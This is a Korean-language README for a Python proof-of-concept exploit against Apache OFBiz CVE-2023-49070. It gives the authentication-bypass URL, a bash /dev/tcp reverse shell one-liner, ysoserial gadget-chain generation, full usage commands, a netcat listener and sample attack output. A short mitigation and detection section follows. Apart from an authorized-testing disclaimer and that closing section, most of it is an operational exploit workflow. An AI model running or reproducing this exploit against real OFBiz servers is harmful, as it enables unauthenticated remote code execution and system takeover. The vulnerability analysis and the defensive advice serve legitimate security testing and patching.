
Apache OFBiz CVE-2023-49070에 대한 Python PoC: /webtools/control/xmlrpc에서의 인증 우회와 ysoserial gadget 체인을 통한 사전 인증 역직렬화 RCE 달성.
Apache OFBiz XML-RPC 사전 인증 역직렬화 RCE(CVE-2023-49070)에 대한 PoC입니다.
인증 우회 경로를 통해 레거시 /webtools/control/xmlrpc 엔드포인트에 접근할 수 있게 되며,
이 엔드포인트는 XML-RPC <serializable> 파라미터 안에 밀반입된 공격자 제어 Java 객체를
역직렬화합니다.
⚠️ 승인된 보안 테스트 전용입니다. 본인이 소유하거나 명시적으로 테스트 권한을 부여받은 시스템(CTF/랩 환경, 서명된 범위가 있는 계약 등)에만 실행하십시오. 컴퓨터 시스템에 대한 무단 접근은 대부분의 관할권에서 불법입니다.
Apache OFBiz의 view-map 인증은 일반적으로 /webtools/control/xmlrpc를 보호합니다.
영향받는 버전(< 18.12.10)은 경로에 세미콜론과 특정 쿼리 파라미터를 덧붙여 해당 검사를
건너뛰도록 속일 수 있습니다:
/webtools/control/xmlrpc;/?USERNAME=Y&PASSWORD=Y&requirePasswordChange=Y
접근이 가능해지면 엔드포인트는 XML-RPC 요청을 수락합니다. Apache XML-RPC의 Java 구현은
<serializable> 확장 타입을 지원합니다: 해당 요소의 내용은 base64로 디코딩되어
ObjectInputStream.readObject()로 그대로 전달됩니다 — 전형적인 안전하지 않은 Java
역직렬화입니다. 클래스패스에 적절한 가젯 체인이 있으면(이 PoC는 기본적으로
ysoserial을 통한 CommonsBeanutils1을 사용),
이는 곧 OFBiz를 실행하는 OS 사용자 권한으로의 원격 명령 실행으로 이어집니다.
이는 이전 OFBiz XML-RPC 역직렬화 CVE들과 동일한 계열의 버그입니다(예: CVE-2023-51467의 인증 우회 형제 취약점). OFBiz는 이 엔드포인트에서 인증 우회 + 역직렬화 쌍이 반복적으로 나타나는 패턴을 보여왔으므로, 이 PoC에 의존하기 전에 대상에 적용되는 정확한 CVE/버전 범위를 확인하십시오.
bash -i >& /dev/tcp/LHOST/LPORT 0>&1 리버스 셸을 만들고, base64로 인코딩한 뒤,
bash -c 'echo ... | base64 -d | bash' 원라이너로 감쌉니다(실행 체인 하위에서 셸
메타문자가 변형되는 것을 회피).ysoserial을 호출하여 해당 원라이너를 실행하는 직렬화된 가젯 체인(기본
CommonsBeanutils1, 설정 가능)을 만듭니다.<serializable> 페이로드로 감쌉니다.TARGET/webtools/control/xmlrpc;/?USERNAME=Y&PASSWORD=Y&requirePasswordChange=Y로
POST합니다.No such service)가
포함되어 있는지 표시합니다 — 이는 페이로드가 처리되었다는 신호일 뿐, 코드 실행의
증거는 아닙니다.셸을 획득했는지 확인할 수 없습니다 — 역직렬화가 실행되면 OFBiz는 어느 경우든 일반적인
오류를 반환합니다(XML-RPC 메서드 자체인 Dns는 실제 서비스로 존재하지 않습니다).
항상 리스너를 띄워 두고 확인하십시오, 스크립트의 콘솔 출력만 믿지 마십시오.
pip install requests --break-system-packagesysoserial-all.jar — frohoff/ysoserial에서
직접 빌드하거나(mvn clean package -DskipTests) 릴리스 jar를 받으십시오. 여기에는
포함되어 있지 않습니다 — 자체 라이선스를 가진 대형 서드파티 도구입니다.python3 ofbiz_xmlrpc_rce.py \
--target https://ofbiz.target.tld \
--lhost 10.10.14.1 --lport 4444 \
--ysoserial /path/to/ysoserial-all.jar
먼저 리스너를 시작하십시오:
nc -lvnp 4444
CommonsBeanutils1은 OFBiz에 대한 고전적인 선택입니다(클래스패스에
commons-beanutils가 포함되어 있음). 하지만 이것이 작동하지 않으면 OFBiz에 번들된
라이브러리들이 다른 체인도 지원합니다. --gadget만 바꾸면 됩니다:
python3 ofbiz_xmlrpc_rce.py --target https://ofbiz.target.tld \
--lhost 10.10.14.1 --lport 4444 \
--ysoserial /path/to/ysoserial-all.jar \
--gadget CommonsCollections6
$ python3 ofbiz_xmlrpc_rce.py --target https://ofbiz.target.tld \
--lhost 10.10.14.1 --lport 4444 --ysoserial ./ysoserial-all.jar
[*] Building reverse shell one-liner for 10.10.14.1:4444 ...
[*] Building 'CommonsBeanutils1' gadget chain with ysoserial (./ysoserial-all.jar) ...
[+] Gadget chain built (2847 bytes)
[*] Sending payload to https://ofbiz.target.tld ...
[+] HTTP status: 200
[+] Response matches the expected post-deserialization error.
This is a signal the gadget chain executed, not proof of a shell.
[*] Check your listener: nc -lvnp 4444
/webtools/control/xmlrpc를 비활성화하거나 제한하십시오 — XML-RPC 통합을
적극적으로 사용하지 않는다면, webtools 컴포넌트 자체가 일반적인 공격 대상이며
강력한 이유 없이 인터넷에 노출되어서는 안 됩니다.; 트릭을 공유합니다.ObjectInputFilter, JEP 290 / Java 9+
이후 사용 가능)를 사용하여 어떤 엔드포인트가 역직렬화를 트리거하든 알려진 가젯 체인
클래스가 인스턴스화되지 않도록 차단하십시오.<serializable> 요소를 포함한 */control/xmlrpc*로의 POST,
OFBiz 호스트에서의 예상치 못한 아웃바운드 연결, OFBiz를 실행하는 Java 프로세스가
생성한 자식 프로세스.MIT — LICENSE 참조.
| Flag | Default | Description |
|---|
--target | (required) | Target base URL, e.g. https://ofbiz.target.tld |
--lhost | (required) | Your listener IP |
--lport | (required) | Your listener port |
--ysoserial | ysoserial-all.jar | Path to the ysoserial jar |
--gadget | CommonsBeanutils1 | ysoserial gadget chain to use |
--java-bin | java | Java binary to invoke |
--timeout | 15 | HTTP request timeout (seconds) |
--proxy | (none) | Optional HTTP(S) proxy, e.g. for routing through Burp |